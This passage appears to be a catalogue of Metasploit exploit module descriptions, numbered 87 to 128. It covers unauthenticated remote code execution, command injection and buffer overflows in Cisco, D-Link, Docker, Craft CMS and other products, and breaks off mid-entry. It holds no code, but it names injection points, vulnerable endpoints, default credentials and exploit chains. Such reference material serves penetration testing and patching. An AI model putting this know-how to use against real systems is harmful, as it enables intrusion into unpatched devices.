       Name: Cisco Prime Infrastructure Unauthenticated Remote Code
Execution
     Module: exploit/linux/http/cisco_prime_inf_rce
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-04

Payload information:

Description:
  Cisco Prime Infrastructure (CPI) contains two basic flaws that when
```

```
exploited allow
  an unauthenticated attacker to achieve remote code execution. The
first flaw is a file
  upload vulnerability that allows the attacker to upload and execute
files as the Apache
  Tomcat user; the second is a privilege escalation to root by
bypassing execution restrictions
  in a SUID binary.

  This module exploits these vulnerabilities to achieve
unauthenticated remote code execution
  as root on the CPI default installation.

  This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348.
Earlier and later versions
  might also be affected, although 3.4.0.0.348 is the latest at the
time of writing.
  The file upload vulnerability should have been fixed in versions
3.4.1 and 3.3.1 Update 02.

End Exploit Number 87

Begin Exploit Number 88
       Name: Cisco RV320 and RV325 Unauthenticated Remote Code
Execution
     Module: exploit/linux/http/cisco_rv32x_rce
   Platform: Linux
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-09-09

Payload information:
  Avoid: 0 characters

Description:
  This exploit module combines an information disclosure
(CVE-2019-1653)
  and a command injection vulnerability (CVE-2019-1652) together to
gain
  unauthenticated remote code execution on Cisco RV320 and RV325 small
business
  routers. Can be exploited via the WAN interface of the router.
Either via HTTPS
  on port 443 or HTTP on port 8007 on some older firmware versions.

End Exploit Number 88

Begin Exploit Number 89
```

```
       Name: Cisco RV Series Authentication Bypass and Command
Injection
     Module: exploit/linux/http/cisco_rv340_lan
   Platform: Linux, Unix
       Arch: cmd, armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-11-02

Payload information:
  Avoid: 2 characters

Description:
  This module exploits two vulnerabilities, a session ID directory
traversal authentication
  bypass (CVE-2022-20705) and a command injection vulnerability
(CVE-2022-20707), on Cisco RV160, RV260, RV340,
  and RV345 Small Business Routers, allowing attackers to execute
arbitrary commands with www-data user privileges.
  This access can then be used to pivot to other parts of the network.
This module works on firmware
  versions 1.0.03.24 and below.

End Exploit Number 89

Begin Exploit Number 90
       Name: Cisco Small Business RV Series Authentication Bypass and
Command Injection
     Module: exploit/linux/http/cisco_rv_series_authbypass_and_rce
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-04-07

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an authentication bypass (CVE-2021-1472) and
command injection (CVE-2021-1473)
  in the Cisco Small Business RV series of VPN/routers. The device
does not adequately verify the
  credentials in the HTTP Authorization field when requests are made
to the /upload endpoint. Then
  the upload.cgi binary will use the contents of the HTTP Cookie field
as part of a `curl` request
  aimed at an internal endpoint. The curl request is executed using
```

```
`popen` and allows the attacker
  to inject commands via the Cookie field.

  A remote and unauthenticated attacker using this module is able to
achieve code execution as `www-data`.

  This module affects the RV340, RV340w, RV345, and RV345P using
firmware versions 1.0.03.20 and below.

End Exploit Number 90

Begin Exploit Number 91
       Name: Cisco UCS Director Cloupia Script RCE
     Module: exploit/linux/http/cisco_ucs_cloupia_script_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-15

Payload information:

Description:
  This module exploits an authentication bypass and directory
traversals
  in Cisco UCS Director < 6.7.4.0 to leak the administrator's REST API
  key and execute a Cloupia script containing an arbitrary root
command.

  Note that the primary functionality of this module is to leverage
the
  Cloupia script interpreter to execute code. This functionality is
part
  of the application's intended operation and considered a
"foreverday."
  The authentication bypass and directory traversals only get us
there.

  If you already have an API key, you may set it in the API_KEY
option.
  The LEAK_FILE option may be set if you wish to leak the API key from
a
  different absolute path, but normally this isn't advisable.

  Tested on Cisco's VMware distribution of 6.7.3.0.

End Exploit Number 91

Begin Exploit Number 92
```

```
       Name: Cisco UCS Director Unauthenticated Remote Code Execution
     Module: exploit/linux/http/cisco_ucs_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-08-21

Payload information:

Description:
  The Cisco UCS Director virtual appliance contains two flaws that can
be combined
  and abused by an attacker to achieve remote code execution as root.
  The first one, CVE-2019-1937, is an authentication bypass, that
allows the
  attacker to authenticate as an administrator.
  The second one, CVE-2019-1936, is a command injection in a password
change form,
  that allows the attacker to inject commands that will execute as
root.
  This module combines both vulnerabilities to achieve the
unauthenticated command
  injection as root.
  It has been tested with Cisco UCS Director virtual machines 6.6.0
and 6.7.0.
  Note that Cisco also mentions in their advisory that their IMC
Supervisor and
  UCS Director Express are also affected by these vulnerabilities, but
this module
  was not tested with those products.

End Exploit Number 92

Begin Exploit Number 93
       Name: CWP login.php Unauthenticated RCE
     Module: exploit/linux/http/control_web_panel_login_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-05

Payload information:

Description:
  Control Web Panel versions < 0.9.8.1147 are vulnerable to
  unauthenticated OS command injection. Successful exploitation
```

```
results
  in code execution as the root user. The results of the command are
not
  contained within the HTTP response and the request will block while
  the command is running.

End Exploit Number 93

Begin Exploit Number 94
       Name: Cisco Prime Infrastructure Health Monitor TarArchive
Directory Traversal Vulnerability
     Module: exploit/linux/http/cpi_tararchive_upload
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-15

Payload information:

Description:
  This module exploits a vulnerability found in Cisco Prime
Infrastructure. The issue is that
  the TarArchive Java class the HA Health Monitor component uses does
not check for any
  directory traversals while unpacking a Tar file, which can be abused
by a remote user to
  leverage the UploadServlet class to upload a JSP payload to the
Apache Tomcat's web apps
  directory, and gain arbitrary remote code execution. Note that
authentication is not
  required to exploit this vulnerability.

End Exploit Number 94

Begin Exploit Number 95
       Name: Craft CMS unauthenticated Remote Code Execution (RCE)
     Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
   Platform: Unix, Linux, PHP
       Arch: cmd, php, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-09-13

Payload information:

Description:
  This module exploits Remote Code Execution vulnerability
```

```
(CVE-2023-41892) in Craft CMS which is a popular
  content management system. Craft CMS versions between 4.0.0-RC1 -
4.4.14 are  affected by this vulnerability
  allowing attackers to execute arbitrary code remotely, potentially
compromising the security and integrity
  of the application.

  The vulnerability occurs using a PHP object creation in the
`\craft\controllers\ConditionsController` class
  which allows to run arbitrary PHP code by escalating the object
creation calling some methods available in
  `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination
with The Imagick Extension and MSL which
  stands for Magick Scripting Language, a full RCE can be achieved.
MSL is a built-in ImageMagick language that
  facilitates the reading of images, performance of image processing
tasks, and writing of results back
  to the filesystem. This can be leveraged to create a dummy image
containing malicious PHP code using the
  Imagick constructor class delivering a webshell that can be accessed
by the attacker, thereby executing the
  malicious PHP code and gaining access to the system.

  Because of this, any remote attacker, without authentication, can
exploit this vulnerability to gain
  access to the underlying operating system as the user that the web
services are running as (typically www-data).

End Exploit Number 95

Begin Exploit Number 96
       Name: Crypttech CryptoLog Remote Code Execution
     Module: exploit/linux/http/crypttech_cryptolog_login_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-03

Payload information:

Description:
  This module exploits a SQL injection and command injection
vulnerability in the PHP version of CryptoLog.
  An unauthenticated user can execute a terminal command under the
context of the web user. These vulnerabilities
  are no longer present in the ASP.NET version CryptoLog, available
since 2009.
```

```
  CryptoLog's login.php endpoint is responsible for the login process.
One of the user supplied parameters is
  used by the application without input validation and parameter
binding, which leads to SQL injection
  vulnerability. Successfully exploiting this vulnerability gives a
valid session.

  CryptoLog's logshares_ajax.php endpoint is responsible for executing
an operation system command. It's not
  possible to access this endpoint without having a valid session. One
user parameter is used by the
  application while executing an operating system command, which
causes a command injection issue.

  Combining these vulnerabilities gives the opportunity execute
operation system commands under the context
  of the web user.

End Exploit Number 96

Begin Exploit Number 97
       Name: Cisco RV110W/RV130(W)/RV215W Routers Management Interface
Remote Command Execution
     Module: exploit/linux/http/cve_2019_1663_cisco_rmi_rce
   Platform: Linux
       Arch: armle, mipsle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2019-02-27

Payload information:

Description:
  A vulnerability in the web-based management interface of the Cisco
RV110W Wireless-N VPN Firewall,
  Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W
Wireless-N VPN Router
  could allow an unauthenticated, remote attacker to execute arbitrary
code on an affected device.

  The vulnerability is due to improper validation of user-supplied
data in the web-based management interface.
  An attacker could exploit this vulnerability by sending malicious
HTTP requests to a targeted device.

  A successful exploit could allow the attacker to execute arbitrary
code on the underlying operating
  system of the affected device as a high-privilege user.
  RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are
affected.
  RV130W Wireless-N Multifunction VPN Router versions prior to
1.0.3.45 are affected.
  RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.

  Note: successful exploitation may not result in a session, and as
such,
  on_new_session will never repair the HTTP server, leading to a
denial-of-service condition.

End Exploit Number 97

Begin Exploit Number 98
       Name: DC/OS Marathon UI Docker Exploit
     Module: exploit/linux/http/dcos_marathon
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-03

Payload information:

Description:
  Utilizing the DCOS Cluster's Marathon UI, an attacker can create
  a docker container with the '/' path mounted with read/write
  permissions on the host server that is running the docker container.
  As the docker container executes command as uid 0 it is honored
  by the host operating system allowing the attacker to edit/create
  files owed by root. This exploit abuses this to creates a cron job
  in the '/etc/cron.d/' path of the host server.

  *Notes: The docker image must be a valid docker image from
  hub.docker.com. Furthermore the docker container will only
  deploy if there are resources available in the DC/OS cluster.

End Exploit Number 98

Begin Exploit Number 99
       Name: DD-WRT HTTP Daemon Arbitrary Command Execution
     Module: exploit/linux/http/ddwrt_cgibin_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-07-20
```

```
Payload information:
  Space: 1024

Description:
  This module abuses a metacharacter injection vulnerability in the
  HTTP management server of wireless gateways running DD-WRT. This
flaw
  allows an unauthenticated attacker to execute arbitrary commands as
  the root user account.

End Exploit Number 99

Begin Exploit Number 100
       Name: DenyAll Web Application Firewall Remote Code Execution
     Module: exploit/linux/http/denyall_waf_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-09-19

Payload information:

Description:
  This module exploits the command injection vulnerability of DenyAll
Web Application Firewall. Unauthenticated users can execute a
  terminal command under the context of the web server user.

End Exploit Number 100

Begin Exploit Number 101
       Name: D-Link authentication.cgi Buffer Overflow
     Module: exploit/linux/http/dlink_authentication_cgi_bof
   Platform: Linux
       Arch: mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-08

Payload information:

Description:
  This module exploits a remote buffer overflow vulnerability on
several D-Link routers.
  The vulnerability exists in the handling of HTTP queries to the
authentication.cgi with
  long password values. The vulnerability can be exploitable without
authentication. This
```

```
  module has been tested successfully on D-Link firmware
DIR645A1_FW103B11. Other firmwares
  such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also
vulnerable.

End Exploit Number 101

Begin Exploit Number 102
       Name: D-Link Devices Unauthenticated Remote Command Execution
     Module: exploit/linux/http/dlink_command_php_exec_noauth
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-04

Payload information:

Description:
  Various D-Link Routers are vulnerable to OS command injection via
the web
  interface. The vulnerability exists in command.php, which is
accessible without
  authentication. This module has been tested with the versions
DIR-600 2.14b01,
  DIR-300 rev B 2.13.

End Exploit Number 102

Begin Exploit Number 103
       Name: D-Link DCS-931L File Upload
     Module: exploit/linux/http/dlink_dcs931l_upload
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-02-23

Payload information:
  Space: 1024

Description:
  This module exploits a file upload vulnerability in D-Link DCS-931L
  network cameras. The setFileUpload functionality allows
authenticated
  users to upload files to anywhere on the file system, allowing
system
  files to be overwritten, resulting in execution of arbitrary
```

```
commands.
  This module has been tested successfully on a D-Link DCS-931L with
  firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
  D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
  affected, but untested.

End Exploit Number 103

Begin Exploit Number 104
       Name: D-Link DCS-930L Authenticated Remote Command Execution
     Module: exploit/linux/http/
dlink_dcs_930l_authenticated_remote_command_execution
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-20

Payload information:

Description:
  The D-Link DCS-930L Network Video Camera is vulnerable
  to OS Command Injection via the web interface.  The vulnerability
  exists at /setSystemCommand, which is accessible with credentials.
  This vulnerability was present in firmware version 2.01 and fixed
  by 2.12.


End Exploit Number 104

Begin Exploit Number 105
       Name: D-Link DIR-645 / DIR-815 diagnostic.php Command Execution
     Module: exploit/linux/http/dlink_diagnostic_exec_noauth
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-03-05

Payload information:

Description:
  Some D-Link Routers are vulnerable to OS Command injection in the
web interface.
  On DIR-645 versions prior 1.03 authentication isn't needed to
exploit it. On
  version 1.03 authentication is needed in order to trigger the
vulnerability, which
```

```
  has been fixed definitely on version 1.04. Other D-Link products,
like DIR-300 rev B
  and DIR-600, are also affected by this vulnerability. Not every
device includes
  wget which we need for deploying our payload. On such devices you
could use the cmd
  generic payload and try to start telnetd or execute other commands.
Since it is a
  blind OS command injection vulnerability, there is no output for the
executed
  command when using the cmd generic payload. A ping command against a
controlled
  system could be used for testing purposes. This module has been
tested successfully
  on DIR-645 prior to 1.03, where authentication isn't needed in order
to exploit the
  vulnerability.

End Exploit Number 105

Begin Exploit Number 106
       Name: D-Link Devices Unauthenticated Remote Command Execution
     Module: exploit/linux/http/dlink_dir300_exec_telnet
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-22

Payload information:

Description:
  Various D-Link Routers are vulnerable to OS command injection via
the web
  interface. The vulnerability exists in tools_vct.xgi, which is
accessible with
  credentials. According to the vulnerability discoverer, more D-Link
devices may
  be affected.

End Exploit Number 106

Begin Exploit Number 107
       Name: D-Link DIR-605L Captcha Handling Buffer Overflow
     Module: exploit/linux/http/dlink_dir605l_captcha_bof
   Platform: Linux
       Arch: mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Manual
  Disclosed: 2012-10-08

Payload information:
  Space: 3000
  Avoid: 4 characters

Description:
  This module exploits an anonymous remote code execution
vulnerability on D-Link DIR-605L routers. The
  vulnerability exists while handling user supplied captcha
information, and is due to the
  insecure usage of sprintf on the getAuthCode() function. This module
has been tested
  successfully on D-Link DIR-605L firmware 1.13 (emulated) and
firmware 1.12 (real).

End Exploit Number 107

Begin Exploit Number 108
       Name: D-Link DIR615h OS Command Injection
     Module: exploit/linux/http/dlink_dir615_up_exec
   Platform: Linux, Unix
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-07

Payload information:

Description:
  Some D-Link Routers are vulnerable to an authenticated OS command
injection on
  their web interface, where default credentials are admin/admin or
admin/password.
  Since it is a blind os command injection vulnerability, there is no
output for the
  executed command when using the cmd generic payload. This module was
tested against
  a DIR-615 hardware revision H1 - firmware version 8.04. A ping
command against a
  controlled system could be used for testing purposes. The exploit
uses the wget
  client from the device to convert the command injection into an
arbitrary payload
  execution.

End Exploit Number 108
```

```
Begin Exploit Number 109
       Name: DIR-850L (Un)authenticated OS Command Exec
     Module: exploit/linux/http/dlink_dir850l_unauth_exec
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-09

Payload information:

Description:
  This module leverages an unauthenticated credential disclosure
  vulnerability to then execute arbitrary commands on DIR-850L routers
  as an authenticated user. Unable to use Meterpreter payloads.

End Exploit Number 109

Begin Exploit Number 110
       Name: D-Link DSL-2750B OS Command Injection
     Module: exploit/linux/http/dlink_dsl2750b_exec_noauth
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-02-05

Payload information:

Description:
  This module exploits a remote command injection vulnerability in D-
Link DSL-2750B devices.
  Vulnerability can be exploited through "cli" parameter that is 
directly used to invoke
  "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.

End Exploit Number 110

Begin Exploit Number 111
       Name: D-Link Cookie Command Execution
     Module: exploit/linux/http/dlink_dspw110_cookie_noauth_exec
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-06-12
```

```
Payload information:

Description:
  This module exploits an anonymous remote upload and code execution
vulnerability on different
  D-Link devices. The vulnerability is a command injection in the
cookie handling process of the
  lighttpd web server when handling specially crafted cookie values.
This module has been
  successfully tested on D-Link DSP-W110A1_FW105B01 in emulated
environment.

End Exploit Number 111

Begin Exploit Number 112
       Name: D-Link info.cgi POST Request Buffer Overflow
     Module: exploit/linux/http/dlink_dspw215_info_cgi_bof
   Platform: Linux
       Arch: mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-22

Payload information:

Description:
  This module exploits an anonymous remote code execution
vulnerability on different D-Link
  devices. The vulnerability is a stack based buffer overflow in the
my_cgi.cgi component,
  when handling specially crafted POST HTTP requests addresses to
the /common/info.cgi
  handler. This module has been successfully tested on D-Link DSP-W215
in an emulated
  environment.

End Exploit Number 112

Begin Exploit Number 113
       Name: DLINK DWL-2600 Authenticated Remote Command Injection
     Module: exploit/linux/http/dlink_dwl_2600_command_injection
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-15

Payload information:
  Avoid: 1 characters

Description:
  Some DLINK Access Points are vulnerable to an authenticated OS
command injection.
  Default credentials for the web interface are admin/admin.

End Exploit Number 113

Begin Exploit Number 114
       Name: D-Link hedwig.cgi Buffer Overflow in Cookie Header
     Module: exploit/linux/http/dlink_hedwig_cgi_bof
   Platform: Linux
       Arch: mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-08

Payload information:

Description:
  This module exploits an anonymous remote code execution
vulnerability on several D-Link
  routers. The vulnerability exists in the handling of HTTP queries to
the hedwig.cgi with
  long value cookies. This module has been tested successfully on D-
Link DIR300v2.14, DIR600
  and the DIR645A1_FW103B11 firmware.

End Exploit Number 114

Begin Exploit Number 115
       Name: D-Link HNAP Request Remote Buffer Overflow
     Module: exploit/linux/http/dlink_hnap_bof
   Platform: Linux
       Arch: mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-15

Payload information:

Description:
  This module exploits an anonymous remote code execution
vulnerability on different
  D-Link devices. The vulnerability is due to a stack based buffer
overflow while
  handling malicious HTTP POST requests addressed to the HNAP handler.
```

```
This module
  has been successfully tested on D-Link DIR-505 in an emulated
environment.

End Exploit Number 115

Begin Exploit Number 116
       Name: D-Link Devices HNAP SOAPAction-Header Command Execution
     Module: exploit/linux/http/dlink_hnap_header_exec_noauth
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-02-13

Payload information:

Description:
  Different D-Link Routers are vulnerable to OS command injection in
the HNAP SOAP
  interface. Since it is a blind OS command injection vulnerability,
there is no
  output for the executed command. This module has been tested on a
DIR-645 device.
  The following devices are also reported as affected: DAP-1522 revB,
DAP-1650 revB,
  DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB,
DIR-300 revB,
  DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR

End Exploit Number 116

Begin Exploit Number 117
       Name: Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer
Overflow
     Module: exploit/linux/http/dlink_hnap_login_bof
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-11-07

Payload information:
  Avoid: 1 characters

Description:
  Several Dlink routers contain a pre-authentication stack buffer
overflow vulnerability, which
```

```
  is exposed on the LAN interface on port 80. This vulnerability
affects the HNAP SOAP protocol,
  which accepts arbitrarily long strings into certain XML parameters
and then copies them into
  the stack.
  This exploit has been tested on the real devices DIR-818LW and 868L
(rev. B), and it was tested
  using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others
might be affected, and
  this vulnerability is present in both MIPS and ARM devices.
  The MIPS devices are powered by Lextra RLX processors, which are
crippled MIPS cores lacking a
  few load and store instructions. Because of this the payloads have
to be sent unencoded, which
  can cause them to fail, although the bind shell seems to work well.
  For the ARM devices, the inline reverse tcp seems to work best.
  Check the reference links to see the vulnerable firmware versions.

End Exploit Number 117

Begin Exploit Number 118
       Name: D-Link Devices UPnP SOAP Command Execution
     Module: exploit/linux/http/dlink_upnp_exec_noauth
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-05

Payload information:

Description:
  Different D-Link Routers are vulnerable to OS command injection in
the UPnP SOAP
  interface. Since it is a blind OS command injection vulnerability,
there is no
  output for the executed command. This module has been tested on
DIR-865 and DIR-645 devices.

End Exploit Number 118

Begin Exploit Number 119
       Name: dnaLIMS Admin Module Command Execution
     Module: exploit/linux/http/dnalims_admin_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-08

Payload information:
  Space: 1024

Description:
  This module utilizes an administrative module which allows for
  command execution.  This page is completely unprotected from any
  authentication when given a POST request.

End Exploit Number 119

Begin Exploit Number 120
       Name: Docker Daemon - Unprotected TCP Socket Exploit
     Module: exploit/linux/http/docker_daemon_tcp
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-25

Payload information:
  Space: 65000

Description:
  Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/
tcp
  with tls but without tls-auth), an attacker can create a Docker
  container with the '/' path mounted with read/write permissions on
the
  host server that is running the Docker container. As the Docker
  container executes command as uid 0 it is honored by the host
operating
  system allowing the attacker to edit/create files owned by root.
This
  exploit abuses this to creates a cron job in the '/etc/cron.d/' path
of
  the host server.

  The Docker image should exist on the target system or be a valid
image
  from hub.docker.com.

End Exploit Number 120

Begin Exploit Number 121
       Name: Dolibarr ERP/CRM Post-Auth OS Command Injection
     Module: exploit/linux/http/dolibarr_cmd_exec
   Platform: Linux, Unix
```

```
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-04-06

Payload information:

Description:
  This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
  backup feature.  This software is used to manage a company's
business
  information such as contacts, invoices, orders, stocks, agenda, etc.
  When processing a database backup request, the export.php function
  does not check the input given to the sql_compat parameter, which
allows
  a remote authenticated attacker to inject system commands into it,
  and then gain arbitrary code execution.

End Exploit Number 121

Begin Exploit Number 122
       Name: OpenPLI Webif Arbitrary Command Execution
     Module: exploit/linux/http/dreambox_openpli_shell
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-02-08

Payload information:
  Space: 1024

Description:
  Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS
command
  injection in the Webif 6.0.4 Web Interface. This is a blind
injection, which means
  that you will not see any output of your command. A ping command can
be used for
  testing the vulnerability.  This module has been tested in a box
with the next
  features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc
version 3.4.4) #1
  Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013),
FP Firmware
  1.06 and Web Interface 6.0.4-Expert (PLi edition).

End Exploit Number 122
```

```
Begin Exploit Number 123
       Name: Endian Firewall Proxy Password Change Command Injection
     Module: exploit/linux/http/efw_chpasswd_exec
   Platform: Linux
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-28

Payload information:
  Space: 2048
  Avoid: 3 characters

Description:
  This module exploits an OS command injection vulnerability in a
  web-accessible CGI script used to change passwords for locally-
defined
  proxy user accounts. Valid credentials for such an account are
  required.

  Command execution will be in the context of the "nobody" account,
but
  this account had broad sudo permissions, including to run the script
  /usr/local/bin/chrootpasswd (which changes the password for the
Linux
  root account on the system to the value specified by console input
  once it is executed).

  The password for the proxy user account specified will *not* be
  changed by the use of this module, as long as the target system is
  vulnerable to the exploit.

  Very early versions of Endian Firewall (e.g. 1.1 RC5) require
  HTTP basic auth credentials as well to exploit this vulnerability.
  Use the USERNAME and PASSWORD advanced options to specify these
values
  if required.

  Versions >= 3.0.0 still contain the vulnerable code, but it appears
to
  never be executed due to a bug in the vulnerable CGI script which
also
  prevents normal use (http://jira.endian.com/browse/UTM-1002).

  Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug
  (http://bugs.endian.com/print_bug_page.php?bug_id=3083).

  Tested successfully against the following versions of EFW Community:
```

```
  1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.

  Should function against any version from 1.1 RC5 to 2.2.x, as well
as
  2.4.1 and 2.5.x.

End Exploit Number 123

Begin Exploit Number 124
       Name: elFinder Archive Command Injection
     Module: exploit/linux/http/elfinder_archive_cmd_injection
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-13

Payload information:

Description:
  elFinder versions below 2.1.59 are vulnerable to a command injection
  vulnerability via its archive functionality.

  When creating a new zip archive, the `name` parameter is sanitized
  with the `escapeshellarg()` php function and then passed to the
  `zip` utility. Despite the sanitization, supplying the `-TmTT`
  argument as part of the `name` parameter is still permitted and
  enables the execution of arbitrary commands as the `www-data` user.

End Exploit Number 124

Begin Exploit Number 125
       Name: PowerShellEmpire Arbitrary File Upload (Skywalker)
     Module: exploit/linux/http/empire_skywalker
   Platform: Linux, Python
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-10-15

Payload information:

Description:
  A vulnerability existed in the PowerShellEmpire server prior to
commit
  f030cf62 which would allow an arbitrary file to be written to an
  attacker controlled location with the permissions of the Empire
```

```
server.

  This exploit will write the payload to /tmp/ directory followed by a
  cron.d file to execute the payload.

End Exploit Number 125

Begin Exploit Number 126
       Name: E-Mail Security Virtual Appliance learn-msg.cgi Command
Injection
     Module: exploit/linux/http/esva_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-16

Payload information:
  Avoid: 0 characters

Description:
  This module exploits a command injection vulnerability found in E-
Mail Security
  Virtual Appliance. This module abuses the learn-msg.cgi file to
execute arbitrary
  OS commands without authentication. This module has been
successfully tested on the
  ESVA_2057 appliance.

End Exploit Number 126

Begin Exploit Number 127
       Name: EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command
Execution
     Module: exploit/linux/http/eyesofnetwork_autodiscovery_rce
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-06

Payload information:
  Avoid: 1 characters

Description:
  This module exploits multiple vulnerabilities in EyesOfNetwork
version 5.1, 5.2
  and 5.3 in order to execute arbitrary commands as root.
  This module takes advantage of a command injection vulnerability in
the
  `target` parameter of the AutoDiscovery functionality within the EON
web
  interface in order to write an Nmap NSE script containing the
payload to
  disk. It then starts an Nmap scan to activate the payload. This
results in
  privilege escalation because the`apache` user can execute Nmap as
root.

  Valid credentials for a user with administrative privileges are
required.
  However, this module can bypass authentication via various methods,
depending on
  the EON version. EON 5.3 is vulnerable to a hardcoded API key and
two SQL
  injection exploits. EON 5.1 and 5.2 can only be exploited via SQL
injection.
  This module has been successfully tested on EyesOfNetwork 5.1, 5.2
and 5.3.

End Exploit Number 127

Begin Exploit Number 128
       Name: F5 BIG-IP TMUI Directory Traversal and File Upload RCE
     Module: exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2020-06-30

Payload information:

Description:
  This module exploits a directory traversal in F5's BIG-IP Traffic
  Management User Interface (TMUI) to upload a shell script and
execute
  it as the Unix root user.

  Unix shell access is obtained by escaping the restricted Traffic
  Management Shell (TMSH). The escape may not be reliable, and you may
  have to run the exploit multiple times. Sorry!

  Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,
  15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced
